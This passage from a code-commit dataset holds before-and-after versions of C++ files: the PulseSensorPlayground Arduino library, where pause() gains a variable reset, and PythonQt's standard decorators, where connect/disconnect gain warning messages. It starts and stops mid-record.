i=0; i<writers.size(); i++)\n {\n dtkSmartPointer<dtkAbstractDataWriter> dataWriter = dtkAbstractDataFactory::instance()->writerSmartPointer(writers[i]);\n\n if (! dataWriter->handled().contains(d->data->identifier()))\n continue;\n\n dataWriter->setData (d->data);\n\n if (dataWriter->canWrite( d->filename )) {\n if (dataWriter->write( d->filename )) {\n written = true;\n break;\n }\n }\n }\n\n if (!written) {\n emit showError(this, tr(\"Could not find suitable writer for file: \") + d->filename, 3000);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n A central Playground object to manage a set of PulseSensors.\n See https:\/\/www.pulsesensor.com to get started.\n\n Copyright World Famous Electronics LLC - see LICENSE\n Contributors:\n Joel Murphy, https:\/\/pulsesensor.com\n Yury Gitman, https:\/\/pulsesensor.com\n Bradford Needham, @bneedhamia, https:\/\/bluepapertech.com\n\n Licensed under the MIT License, a copy of which\n should have been included with this software.\n\n This software is not intended for medical use.\n*\/\n#include <PulseSensorPlayground.h>\n\n\/\/ Define the \"this\" pointer for the ISR\nPulseSensorPlayground *PulseSensorPlayground::OurThis;\n\n\nPulseSensorPlayground::PulseSensorPlayground(int numberOfSensors) {\n \/\/ Save a static pointer to our playground so the ISR can read it.\n OurThis = this;\n\n \/\/ Dynamically create the array to minimize ram usage.\n SensorCount = (byte) numberOfSensors;\n Sensors = new PulseSensor[SensorCount];\n\n#if PULSE_SENSOR_TIMING_ANALYSIS\n \/\/ We want sample timing analysis, so we construct it.\n pTiming = new PulseSensorTimingStatistics(MICROS_PER_READ, 500 * 30L);\n#endif \/\/ PULSE_SENSOR_TIMING_ANALYSIS\n}\n\nboolean PulseSensorPlayground::PulseSensorPlayground::begin() {\n\n for (int i = 0; i < SensorCount; ++i) {\n Sensors[i].initializeLEDs();\n }\n\n \/\/ Note the time, for non-interrupt sampling and for timing statistics.\n NextSampleMicros = micros() + MICROS_PER_READ;\n\n SawNewSample = false;\n\tPaused = false;\n\n#if PULSE_SENSOR_MEMORY_USAGE\n \/\/ Report the RAM usage and hang.\n printMemoryUsage();\n for (;;);\n#endif \/\/ PULSE_SENSOR_MEMORY_USAGE\n\n \/\/ Lastly, set up and turn on the interrupts.\n\n if (UsingInterrupts) {\n if (!PulseSensorPlaygroundSetupInterrupt()) {\n\t\t\tStream *pOut = SerialOutput.getSerial();\n\t\t if (pOut) {\n\t\t pOut->print(F(\"Interrupts not supported on this platform\\n\"));\n\t\t\t}\n \/\/ The user requested interrupts, but they aren't supported. Say so.\n\t\t\tPaused = true;\n return false;\n }\n }\n\n return true;\n}\n\nvoid PulseSensorPlayground::analogInput(int inputPin, int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return; \/\/ out of range.\n }\n Sensors[sensorIndex].analogInput(inputPin);\n}\n\nvoid PulseSensorPlayground::blinkOnPulse(int blinkPin, int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return; \/\/ out of range.\n }\n Sensors[sensorIndex].blinkOnPulse(blinkPin);\n}\n\nvoid PulseSensorPlayground::fadeOnPulse(int fadePin, int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return; \/\/ out of range.\n }\n Sensors[sensorIndex].fadeOnPulse(fadePin);\n}\n\nboolean PulseSensorPlayground::sawNewSample() {\n \/*\n If using interrupts, this function reads and clears the\n 'saw a sample' flag that is set by the ISR.\n\n When not using interrupts, this function sees whether it's time\n to sample and, if so, reads the sample and processes it.\n\n\t\t First, check to see if the sketch has paused the Pulse Sensor sampling\n *\/\n\n if (UsingInterrupts) {\n \/\/ Disable interrupts to avoid a race with the ISR.\n DISABLE_PULSE_SENSOR_INTERRUPTS;\n boolean sawOne = SawNewSample;\n SawNewSample = false;\n ENABLE_PULSE_SENSOR_INTERRUPTS;\n\n return sawOne;\n }else{\n\t\tif(Paused){\n\t\t\tSawNewSample = false;\n\t\t\treturn false;\n\t\t}\n\t}\n\n \/\/ Time the sample as close as you can when not using interrupts\n\n unsigned long nowMicros = micros();\n if ((long) (NextSampleMicros - nowMicros) > 0L) {\n return false; \/\/ not time yet.\n }\n NextSampleMicros = nowMicros + MICROS_PER_READ;\n\n#if PULSE_SENSOR_TIMING_ANALYSIS\n if (pTiming->recordSampleTime() <= 0) {\n pTiming->outputStatistics(SerialOutput.getSerial());\n for (;;); \/\/ Hang because we've disturbed the timing.\n }\n#endif \/\/ PULSE_SENSOR_TIMING_ANALYSIS\n\n \/\/ Act as if the ISR was called.\n onSampleTime();\n\n SawNewSample = false;\n return true;\n}\n\nvoid PulseSensorPlayground::onSampleTime() {\n \/\/ Typically called from the ISR.\n\n \/*\n Read the voltage from each PulseSensor.\n We do this separately from processing the voltages\n to minimize jitter in acquiring the signal.\n *\/\n for (int i = 0; i < SensorCount; ++i) {\n Sensors[i].readNextSample();\n }\n\n \/\/ Process those voltages.\n for (int i = 0; i < SensorCount; ++i) {\n Sensors[i].processLatestSample();\n Sensors[i].updateLEDs();\n }\n\n \/\/ Set the flag that says we've read a sample since the Sketch checked.\n SawNewSample = true;\n }\n\nint PulseSensorPlayground::getLatestSample(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return -1; \/\/ out of range.\n }\n return Sensors[sensorIndex].getLatestSample();\n}\n\nint PulseSensorPlayground::getBeatsPerMinute(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return -1; \/\/ out of range.\n }\n return Sensors[sensorIndex].getBeatsPerMinute();\n}\n\nint PulseSensorPlayground::getInterBeatIntervalMs(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return -1; \/\/ out of range.\n }\n return Sensors[sensorIndex].getInterBeatIntervalMs();\n}\n\nboolean PulseSensorPlayground::sawStartOfBeat(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return false; \/\/ out of range.\n }\n return Sensors[sensorIndex].sawStartOfBeat();\n}\n\nboolean PulseSensorPlayground::isInsideBeat(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return false; \/\/ out of range.\n }\n return Sensors[sensorIndex].isInsideBeat();\n}\n\nvoid PulseSensorPlayground::setSerial(Stream &output) {\n SerialOutput.setSerial(output);\n}\n\nvoid PulseSensorPlayground::setOutputType(byte outputType) {\n SerialOutput.setOutputType(outputType);\n}\n\nvoid PulseSensorPlayground::setThreshold(int threshold, int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return; \/\/ out of range.\n }\n Sensors[sensorIndex].setThreshold(threshold);\n}\n\nvoid PulseSensorPlayground::outputSample() {\n SerialOutput.outputSample(Sensors, SensorCount);\n}\n\nvoid PulseSensorPlayground::outputBeat(int sensorIndex) {\n SerialOutput.outputBeat(Sensors, SensorCount, sensorIndex);\n}\n\nvoid PulseSensorPlayground::outputToSerial(char s, int d) {\n SerialOutput.outputToSerial(s,d);\n}\n\nint PulseSensorPlayground::getPulseAmplitude(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return -1; \/\/ out of range.\n }\n return Sensors[sensorIndex].getPulseAmplitude();\n}\n\nunsigned long PulseSensorPlayground::getLastBeatTime(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return -1; \/\/ out of range.\n }\n return Sensors[sensorIndex].getLastBeatTime();\n}\n\nboolean PulseSensorPlayground::isPaused() {\n\treturn Paused;\n}\n\nboolean PulseSensorPlayground::pause() {\n\tif (UsingInterrupts) {\n if (!PulseSensorPlaygroundDisableInterrupt()) {\n\t\t\tStream *pOut = SerialOutput.getSerial();\n\t\t if (pOut) {\n\t\t pOut->print(F(\"Could not pause Pulse Sensor\\n\"));\n\t\t\t}\n return false;\n }else{\n\t\t\t\/\/ DOING THIS HERE BECAUSE IT COULD GET CHOMPED IF WE DO IN resume BELOW\n\t\t\tfor(int i=0; i<SensorCount; i++){\n\t\t\t\tSensors[i].resetVariables();\n\t\t\t}\n\t\t\tPaused = true;\n\t\t\treturn true;\n\t\t}\n\t}else{\n\t\t\/\/ do something here?\n\t\tPaused = true;\n\t\treturn true;\n\t}\n}\n\nboolean PulseSensorPlayground::resume() {\n\tif (UsingInterrupts) {\n if (!PulseSensorPlaygroundEnableInterrupt()) {\n\t\t\tStream *pOut = SerialOutput.getSerial();\n\t\t if (pOut) {\n\t\t pOut->print(F(\"Could not resume Pulse Sensor\\n\"));\n\t\t\t}\n return false;\n }else{\n\t\t\tPaused = false;\n\t\t\treturn true;\n\t\t}\n\t}else{\n\t\t\/\/ do something here?\n\t\tPaused = false;\n\t\treturn true;\n\t}\n}\n\n\n#if PULSE_SENSOR_MEMORY_USAGE\nvoid PulseSensorPlayground::printMemoryUsage() {\n char stack = 1;\n extern char *__data_start;\n extern char *__data_end;\n extern char *__bss_start;\n extern char *__bss_end;\n extern char *__heap_start;\n extern char *__heap_end;\n\n int\tdata_size\t=\t(int)&__data_end - (int)&__data_start;\n int\tbss_size\t=\t(int)&__bss_end - (int)&__data_end;\n int\theap_end\t=\t(int)&stack - (int)&__malloc_margin;\n int\theap_size\t=\theap_end - (int)&__bss_end;\n int\tstack_size\t=\tRAMEND - (int)&stack + 1;\n int\tavailable\t=\t(RAMEND - (int)&__data_start + 1);\n available\t-=\tdata_size + bss_size + heap_size + stack_size;\n\n Stream *pOut = SerialOutput.getSerial();\n if (pOut) {\n pOut->print(F(\"data \"));\n pOut->println(data_size);\n pOut->print(F(\"bss \"));\n pOut->println(bss_size);\n pOut->print(F(\"heap \"));\n pOut->println(heap_size);\n pOut->print(F(\"stack \"));\n pOut->println(stack_size);\n pOut->print(F(\"total \"));\n pOut->println(data_size + bss_size + heap_size + stack_size);\n }\n}\n#endif \/\/ PULSE_SENSOR_MEMORY_USAGE\n<commit_msg>added reset variables in pause() when not using interrupts<commit_after>\/*\n A central Playground object to manage a set of PulseSensors.\n See https:\/\/www.pulsesensor.com to get started.\n\n Copyright World Famous Electronics LLC - see LICENSE\n Contributors:\n Joel Murphy, https:\/\/pulsesensor.com\n Yury Gitman, https:\/\/pulsesensor.com\n Bradford Needham, @bneedhamia, https:\/\/bluepapertech.com\n\n Licensed under the MIT License, a copy of which\n should have been included with this software.\n\n This software is not intended for medical use.\n*\/\n#include <PulseSensorPlayground.h>\n\n\/\/ Define the \"this\" pointer for the ISR\nPulseSensorPlayground *PulseSensorPlayground::OurThis;\n\n\nPulseSensorPlayground::PulseSensorPlayground(int numberOfSensors) {\n \/\/ Save a static pointer to our playground so the ISR can read it.\n OurThis = this;\n\n \/\/ Dynamically create the array to minimize ram usage.\n SensorCount = (byte) numberOfSensors;\n Sensors = new PulseSensor[SensorCount];\n\n#if PULSE_SENSOR_TIMING_ANALYSIS\n \/\/ We want sample timing analysis, so we construct it.\n pTiming = new PulseSensorTimingStatistics(MICROS_PER_READ, 500 * 30L);\n#endif \/\/ PULSE_SENSOR_TIMING_ANALYSIS\n}\n\nboolean PulseSensorPlayground::PulseSensorPlayground::begin() {\n\n for (int i = 0; i < SensorCount; ++i) {\n Sensors[i].initializeLEDs();\n }\n\n \/\/ Note the time, for non-interrupt sampling and for timing statistics.\n NextSampleMicros = micros() + MICROS_PER_READ;\n\n SawNewSample = false;\n\tPaused = false;\n\n#if PULSE_SENSOR_MEMORY_USAGE\n \/\/ Report the RAM usage and hang.\n printMemoryUsage();\n for (;;);\n#endif \/\/ PULSE_SENSOR_MEMORY_USAGE\n\n \/\/ Lastly, set up and turn on the interrupts.\n\n if (UsingInterrupts) {\n if (!PulseSensorPlaygroundSetupInterrupt()) {\n\t\t\tStream *pOut = SerialOutput.getSerial();\n\t\t if (pOut) {\n\t\t pOut->print(F(\"Interrupts not supported on this platform\\n\"));\n\t\t\t}\n \/\/ The user requested interrupts, but they aren't supported. Say so.\n\t\t\tPaused = true;\n return false;\n }\n }\n\n return true;\n}\n\nvoid PulseSensorPlayground::analogInput(int inputPin, int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return; \/\/ out of range.\n }\n Sensors[sensorIndex].analogInput(inputPin);\n}\n\nvoid PulseSensorPlayground::blinkOnPulse(int blinkPin, int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return; \/\/ out of range.\n }\n Sensors[sensorIndex].blinkOnPulse(blinkPin);\n}\n\nvoid PulseSensorPlayground::fadeOnPulse(int fadePin, int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return; \/\/ out of range.\n }\n Sensors[sensorIndex].fadeOnPulse(fadePin);\n}\n\nboolean PulseSensorPlayground::sawNewSample() {\n \/*\n If using interrupts, this function reads and clears the\n 'saw a sample' flag that is set by the ISR.\n\n When not using interrupts, this function sees whether it's time\n to sample and, if so, reads the sample and processes it.\n\n\t\t First, check to see if the sketch has paused the Pulse Sensor sampling\n *\/\n\n if (UsingInterrupts) {\n \/\/ Disable interrupts to avoid a race with the ISR.\n DISABLE_PULSE_SENSOR_INTERRUPTS;\n boolean sawOne = SawNewSample;\n SawNewSample = false;\n ENABLE_PULSE_SENSOR_INTERRUPTS;\n\n return sawOne;\n }else{\n\t\tif(Paused){\n\t\t\tSawNewSample = false;\n\t\t\treturn false;\n\t\t}\n\t}\n\n \/\/ Time the sample as close as you can when not using interrupts\n\n unsigned long nowMicros = micros();\n if ((long) (NextSampleMicros - nowMicros) > 0L) {\n return false; \/\/ not time yet.\n }\n NextSampleMicros = nowMicros + MICROS_PER_READ;\n\n#if PULSE_SENSOR_TIMING_ANALYSIS\n if (pTiming->recordSampleTime() <= 0) {\n pTiming->outputStatistics(SerialOutput.getSerial());\n for (;;); \/\/ Hang because we've disturbed the timing.\n }\n#endif \/\/ PULSE_SENSOR_TIMING_ANALYSIS\n\n \/\/ Act as if the ISR was called.\n onSampleTime();\n\n SawNewSample = false;\n return true;\n}\n\nvoid PulseSensorPlayground::onSampleTime() {\n \/\/ Typically called from the ISR.\n\n \/*\n Read the voltage from each PulseSensor.\n We do this separately from processing the voltages\n to minimize jitter in acquiring the signal.\n *\/\n for (int i = 0; i < SensorCount; ++i) {\n Sensors[i].readNextSample();\n }\n\n \/\/ Process those voltages.\n for (int i = 0; i < SensorCount; ++i) {\n Sensors[i].processLatestSample();\n Sensors[i].updateLEDs();\n }\n\n \/\/ Set the flag that says we've read a sample since the Sketch checked.\n SawNewSample = true;\n }\n\nint PulseSensorPlayground::getLatestSample(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return -1; \/\/ out of range.\n }\n return Sensors[sensorIndex].getLatestSample();\n}\n\nint PulseSensorPlayground::getBeatsPerMinute(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return -1; \/\/ out of range.\n }\n return Sensors[sensorIndex].getBeatsPerMinute();\n}\n\nint PulseSensorPlayground::getInterBeatIntervalMs(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return -1; \/\/ out of range.\n }\n return Sensors[sensorIndex].getInterBeatIntervalMs();\n}\n\nboolean PulseSensorPlayground::sawStartOfBeat(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return false; \/\/ out of range.\n }\n return Sensors[sensorIndex].sawStartOfBeat();\n}\n\nboolean PulseSensorPlayground::isInsideBeat(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return false; \/\/ out of range.\n }\n return Sensors[sensorIndex].isInsideBeat();\n}\n\nvoid PulseSensorPlayground::setSerial(Stream &output) {\n SerialOutput.setSerial(output);\n}\n\nvoid PulseSensorPlayground::setOutputType(byte outputType) {\n SerialOutput.setOutputType(outputType);\n}\n\nvoid PulseSensorPlayground::setThreshold(int threshold, int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return; \/\/ out of range.\n }\n Sensors[sensorIndex].setThreshold(threshold);\n}\n\nvoid PulseSensorPlayground::outputSample() {\n SerialOutput.outputSample(Sensors, SensorCount);\n}\n\nvoid PulseSensorPlayground::outputBeat(int sensorIndex) {\n SerialOutput.outputBeat(Sensors, SensorCount, sensorIndex);\n}\n\nvoid PulseSensorPlayground::outputToSerial(char s, int d) {\n SerialOutput.outputToSerial(s,d);\n}\n\nint PulseSensorPlayground::getPulseAmplitude(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return -1; \/\/ out of range.\n }\n return Sensors[sensorIndex].getPulseAmplitude();\n}\n\nunsigned long PulseSensorPlayground::getLastBeatTime(int sensorIndex) {\n if (sensorIndex != constrain(sensorIndex, 0, SensorCount)) {\n return -1; \/\/ out of range.\n }\n return Sensors[sensorIndex].getLastBeatTime();\n}\n\nboolean PulseSensorPlayground::isPaused() {\n\treturn Paused;\n}\n\nboolean PulseSensorPlayground::pause() {\n\tif (UsingInterrupts) {\n if (!PulseSensorPlaygroundDisableInterrupt()) {\n\t\t\tStream *pOut = SerialOutput.getSerial();\n\t\t if (pOut) {\n\t\t pOut->print(F(\"Could not pause Pulse Sensor\\n\"));\n\t\t\t}\n return false;\n }else{\n\t\t\t\/\/ DOING THIS HERE BECAUSE IT COULD GET CHOMPED IF WE DO IN resume BELOW\n\t\t\tfor(int i=0; i<SensorCount; i++){\n\t\t\t\tSensors[i].resetVariables();\n\t\t\t}\n\t\t\tPaused = true;\n\t\t\treturn true;\n\t\t}\n\t}else{\n\t\t\/\/ do something here?\n\t\tfor(int i=0; i<SensorCount; i++){\n\t\t\tSensors[i].resetVariables();\n\t\t}\n\t\tPaused = true;\n\t\treturn true;\n\t}\n}\n\nboolean PulseSensorPlayground::resume() {\n\tif (UsingInterrupts) {\n if (!PulseSensorPlaygroundEnableInterrupt()) {\n\t\t\tStream *pOut = SerialOutput.getSerial();\n\t\t if (pOut) {\n\t\t pOut->print(F(\"Could not resume Pulse Sensor\\n\"));\n\t\t\t}\n return false;\n }else{\n\t\t\tPaused = false;\n\t\t\treturn true;\n\t\t}\n\t}else{\n\t\t\/\/ do something here?\n\t\tPaused = false;\n\t\treturn true;\n\t}\n}\n\n\n#if PULSE_SENSOR_MEMORY_USAGE\nvoid PulseSensorPlayground::printMemoryUsage() {\n char stack = 1;\n extern char *__data_start;\n extern char *__data_end;\n extern char *__bss_start;\n extern char *__bss_end;\n extern char *__heap_start;\n extern char *__heap_end;\n\n int\tdata_size\t=\t(int)&__data_end - (int)&__data_start;\n int\tbss_size\t=\t(int)&__bss_end - (int)&__data_end;\n int\theap_end\t=\t(int)&stack - (int)&__malloc_margin;\n int\theap_size\t=\theap_end - (int)&__bss_end;\n int\tstack_size\t=\tRAMEND - (int)&stack + 1;\n int\tavailable\t=\t(RAMEND - (int)&__data_start + 1);\n available\t-=\tdata_size + bss_size + heap_size + stack_size;\n\n Stream *pOut = SerialOutput.getSerial();\n if (pOut) {\n pOut->print(F(\"data \"));\n pOut->println(data_size);\n pOut->print(F(\"bss \"));\n pOut->println(bss_size);\n pOut->print(F(\"heap \"));\n pOut->println(heap_size);\n pOut->print(F(\"stack \"));\n pOut->println(stack_size);\n pOut->print(F(\"total \"));\n pOut->println(data_size + bss_size + heap_size + stack_size);\n }\n}\n#endif \/\/ PULSE_SENSOR_MEMORY_USAGE\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Oops, forgot to add -s to the options spec.<commit_after><|endoftext|>"} {"text":"<commit_before>\/*\n*\n* Copyright (C) 2010 MeVis Medical Solutions AG All Rights Reserved.\n*\n* This library is free software; you can redistribute it and\/or\n* modify it under the terms of the GNU Lesser General Public\n* License as published by the Free Software Foundation; either\n* version 2.1 of the License, or (at your option) any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n* Lesser General Public License for more details.\n*\n* Further, this software is distributed without any warranty that it is\n* free of the rightful claim of any third person regarding infringement\n* or the like. Any license provided herein, whether implied or\n* otherwise, applies only to this software file. Patent licenses, if\n* any, provided herein do not apply to combinations of this program with\n* other software, or any other product whatsoever.\n*\n* You should have received a copy of the GNU Lesser General Public\n* License along with this library; if not, write to the Free Software\n* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n*\n* Contact information: MeVis Medical Solutions AG, Universitaetsallee 29,\n* 28359 Bremen, Germany or:\n*\n* http:\/\/www.mevis.de\n*\n*\/\n\n\/\/----------------------------------------------------------------------------------\n\/*!\n\/\/ \\file PythonQtStdDecorators.cpp\n\/\/ \\author Florian Link\n\/\/ \\author Last changed by $Author: florian $\n\/\/ \\date 2007-04\n*\/\n\/\/----------------------------------------------------------------------------------\n\n#include \"PythonQtStdDecorators.h\"\n#include \"PythonQt.h\"\n#include \"PythonQtClassInfo.h\"\n#include <QCoreApplication>\n\nbool PythonQtStdDecorators::connect(QObject* sender, const QByteArray& signal, PyObject* callable)\n{\n QByteArray signalTmp;\n char first = signal.at(0);\n if (first>='0' && first<='9') {\n signalTmp = signal;\n } else {\n signalTmp = \"2\" + signal;\n }\n\n if (sender) {\n return PythonQt::self()->addSignalHandler(sender, signalTmp, callable);\n } else {\n return false;\n }\n}\n\nbool PythonQtStdDecorators::connect(QObject* sender, const QByteArray& signal, QObject* receiver, const QByteArray& slot)\n{\n bool r = false;\n if (sender && receiver) {\n QByteArray signalTmp;\n char first = signal.at(0);\n if (first>='0' && first<='9') {\n signalTmp = signal;\n } else {\n signalTmp = \"2\" + signal;\n }\n\n QByteArray slotTmp;\n first = slot.at(0);\n if (first>='0' && first<='9') {\n slotTmp = slot;\n } else {\n slotTmp = \"1\" + slot;\n }\n r = QObject::connect(sender, signalTmp, receiver, slotTmp);\n }\n return r;\n}\n\nbool PythonQtStdDecorators::disconnect(QObject* sender, const QByteArray& signal, PyObject* callable)\n{\n QByteArray signalTmp;\n char first = signal.at(0);\n if (first>='0' && first<='9') {\n signalTmp = signal;\n } else {\n signalTmp = \"2\" + signal;\n }\n if (sender) {\n return PythonQt::self()->removeSignalHandler(sender, signalTmp, callable);\n } else {\n return false;\n }\n}\n\nbool PythonQtStdDecorators::disconnect(QObject* sender, const QByteArray& signal, QObject* receiver, const QByteArray& slot)\n{\n bool r = false;\n if (sender && receiver) {\n QByteArray signalTmp;\n char first = signal.at(0);\n if (first>='0' && first<='9') {\n signalTmp = signal;\n } else {\n signalTmp = \"2\" + signal;\n }\n\n QByteArray slotTmp;\n first = slot.at(0);\n if (first>='0' && first<='9') {\n slotTmp = slot;\n } else {\n slotTmp = \"1\" + slot;\n }\n\n r = QObject::disconnect(sender, signalTmp, receiver, slotTmp);\n }\n return r;\n}\n\nQObject* PythonQtStdDecorators::parent(QObject* o) {\n return o->parent();\n}\n\nvoid PythonQtStdDecorators::setParent(QObject* o, QObject* parent)\n{\n o->setParent(parent);\n}\n\nconst QObjectList* PythonQtStdDecorators::children(QObject* o)\n{\n return &o->children();\n}\n\nbool PythonQtStdDecorators::setProperty(QObject* o, const char* name, const QVariant& value)\n{\n return o->setProperty(name, value);\n}\n\nQVariant PythonQtStdDecorators::property(QObject* o, const char* name)\n{\n return o->property(name);\n}\n\nQString PythonQtStdDecorators::tr(QObject* obj, const QByteArray& text, const QByteArray& ambig, int n)\n{\n return QCoreApplication::translate(obj->metaObject()->className(), text.constData(), ambig.constData(), QCoreApplication::CodecForTr, n);\n}\n\nQObject* PythonQtStdDecorators::findChild(QObject* parent, PyObject* type, const QString& name)\n{\n const QMetaObject* meta = NULL;\n const char* typeName = NULL;\n\n if (PyObject_TypeCheck(type, &PythonQtClassWrapper_Type)) {\n meta = ((PythonQtClassWrapper*)type)->classInfo()->metaObject();\n } else if (PyObject_TypeCheck(type, &PythonQtInstanceWrapper_Type)) {\n meta = ((PythonQtInstanceWrapper*)type)->classInfo()->metaObject();\n } else if (PyString_Check(type)) {\n typeName = PyString_AsString(type);\n }\n\n if (!typeName && !meta)\n return NULL;\n\n return findChild(parent, typeName, meta, name);\n}\n\nQList<QObject*> PythonQtStdDecorators::findChildren(QObject* parent, PyObject* type, const QString& name)\n{\n const QMetaObject* meta = NULL;\n const char* typeName = NULL;\n\n if (PyObject_TypeCheck(type, &PythonQtClassWrapper_Type)) {\n meta = ((PythonQtClassWrapper*)type)->classInfo()->metaObject();\n } else if (PyObject_TypeCheck(type, &PythonQtInstanceWrapper_Type)) {\n meta = ((PythonQtInstanceWrapper*)type)->classInfo()->metaObject();\n } else if (PyString_Check(type)) {\n typeName = PyString_AsString(type);\n }\n\n QList<QObject*> list;\n\n if (!typeName && !meta)\n return list;\n\n findChildren(parent, typeName, meta, name, list);\n\n return list;\n}\n\nQList<QObject*> PythonQtStdDecorators::findChildren(QObject* parent, PyObject* type, const QRegExp& regExp)\n{\n const QMetaObject* meta = NULL;\n const char* typeName = NULL;\n\n if (PyObject_TypeCheck(type, &PythonQtClassWrapper_Type)) {\n meta = ((PythonQtClassWrapper*)type)->classInfo()->metaObject();\n } else if (PyObject_TypeCheck(type, &PythonQtInstanceWrapper_Type)) {\n meta = ((PythonQtInstanceWrapper*)type)->classInfo()->metaObject();\n } else if (PyString_Check(type)) {\n typeName = PyString_AsString(type);\n }\n\n QList<QObject*> list;\n\n if (!typeName && !meta)\n return list;\n\n findChildren(parent, typeName, meta, regExp, list);\n\n return list;\n}\n\nQObject* PythonQtStdDecorators::findChild(QObject* parent, const char* typeName, const QMetaObject* meta, const QString& name)\n{\n const QObjectList &children = parent->children();\n\n int i;\n for (i = 0; i < children.size(); ++i) {\n QObject* obj = children.at(i);\n\n if (!obj)\n return NULL;\n\n \/\/ Skip if the name doesn't match.\n if (!name.isNull() && obj->objectName() != name)\n continue;\n\n if ((typeName && obj->inherits(typeName)) ||\n (meta && meta->cast(obj)))\n return obj;\n }\n\n for (i = 0; i < children.size(); ++i) {\n QObject* obj = findChild(children.at(i), typeName, meta, name);\n\n if (obj != NULL)\n return obj;\n }\n\n return NULL;\n}\n\nint PythonQtStdDecorators::findChildren(QObject* parent, const char* typeName, const QMetaObject* meta, const QString& name, QList<QObject*>& list)\n{\n const QObjectList& children = parent->children();\n int i;\n\n for (i = 0; i < children.size(); ++i) {\n QObject* obj = children.at(i);\n\n if (!obj)\n return -1;\n\n \/\/ Skip if the name doesn't match.\n if (!name.isNull() && obj->objectName() != name)\n continue;\n\n if ((typeName && obj->inherits(typeName)) ||\n (meta && meta->cast(obj))) {\n list += obj;\n }\n\n if (findChildren(obj, typeName, meta, name, list) < 0)\n return -1;\n }\n\n return 0;\n}\n\nint PythonQtStdDecorators::findChildren(QObject* parent, const char* typeName, const QMetaObject* meta, const QRegExp& regExp, QList<QObject*>& list)\n{\n const QObjectList& children = parent->children();\n int i;\n\n for (i = 0; i < children.size(); ++i) {\n QObject* obj = children.at(i);\n\n if (!obj)\n return -1;\n\n \/\/ Skip if the name doesn't match.\n if (regExp.indexIn(obj->objectName()) == -1)\n continue;\n\n if ((typeName && obj->inherits(typeName)) ||\n (meta && meta->cast(obj))) {\n list += obj;\n }\n\n if (findChildren(obj, typeName, meta, regExp, list) < 0)\n return -1;\n }\n\n return 0;\n}\n<commit_msg>added error printing for connect\/disconnect<commit_after>\/*\n*\n* Copyright (C) 2010 MeVis Medical Solutions AG All Rights Reserved.\n*\n* This library is free software; you can redistribute it and\/or\n* modify it under the terms of the GNU Lesser General Public\n* License as published by the Free Software Foundation; either\n* version 2.1 of the License, or (at your option) any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n* Lesser General Public License for more details.\n*\n* Further, this software is distributed without any warranty that it is\n* free of the rightful claim of any third person regarding infringement\n* or the like. Any license provided herein, whether implied or\n* otherwise, applies only to this software file. Patent licenses, if\n* any, provided herein do not apply to combinations of this program with\n* other software, or any other product whatsoever.\n*\n* You should have received a copy of the GNU Lesser General Public\n* License along with this library; if not, write to the Free Software\n* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n*\n* Contact information: MeVis Medical Solutions AG, Universitaetsallee 29,\n* 28359 Bremen, Germany or:\n*\n* http:\/\/www.mevis.de\n*\n*\/\n\n\/\/----------------------------------------------------------------------------------\n\/*!\n\/\/ \\file PythonQtStdDecorators.cpp\n\/\/ \\author Florian Link\n\/\/ \\author Last changed by $Author: florian $\n\/\/ \\date 2007-04\n*\/\n\/\/----------------------------------------------------------------------------------\n\n#include \"PythonQtStdDecorators.h\"\n#include \"PythonQt.h\"\n#include \"PythonQtClassInfo.h\"\n#include <QCoreApplication>\n\nbool PythonQtStdDecorators::connect(QObject* sender, const QByteArray& signal, PyObject* callable)\n{\n bool result = false;\n QByteArray signalTmp;\n char first = signal.at(0);\n if (first>='0' && first<='9') {\n signalTmp = signal;\n } else {\n signalTmp = \"2\" + signal;\n }\n\n if (sender) {\n result = PythonQt::self()->addSignalHandler(sender, signalTmp, callable);\n if (!result) {\n if (sender->metaObject()->indexOfSignal(QMetaObject::normalizedSignature(signalTmp.constData()+1)) == -1) {\n qWarning(\"PythonQt: QObject::connect() signal '%s' does not exist on %s\", signal.constData(), sender->metaObject()->className());\n }\n }\n }\n return result;\n}\n\nbool PythonQtStdDecorators::connect(QObject* sender, const QByteArray& signal, QObject* receiver, const QByteArray& slot)\n{\n bool r = false;\n if (sender && receiver) {\n QByteArray signalTmp;\n char first = signal.at(0);\n if (first>='0' && first<='9') {\n signalTmp = signal;\n } else {\n signalTmp = \"2\" + signal;\n }\n\n QByteArray slotTmp;\n first = 